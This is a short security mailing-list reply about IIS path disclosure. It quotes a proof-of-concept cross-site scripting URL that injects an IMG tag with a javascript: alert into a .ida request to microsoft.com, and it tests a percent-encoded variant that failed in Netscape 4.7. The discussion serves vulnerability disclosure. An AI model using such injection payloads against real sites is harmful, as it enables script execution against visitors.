Re: IIS still revealing paths for web directories

[Scott Buchanan]

Georgi Guninski wrote:
>
> For Communicator:
> 
>http://www.microsoft.com/%3CIMG%20SRC=javascript:alert("window.location:"+window.location)%3E.ida

This link comes out as:

http://www.microsoft.com/%3CIMG%20SRC=javascript:alert(

presumably because the quotes need to be % encoded as well.

http://www.microsoft.com/%3CIMG%20SRC=javascript:alert(%34window.location:%34%43window.location)%3E.ida

This link, while it seems to work in as far as you can go to the
correct link, the Javascript doesn't get executed on this copy of
Netscape 4.7

-Scott Buchanan
Axe Communications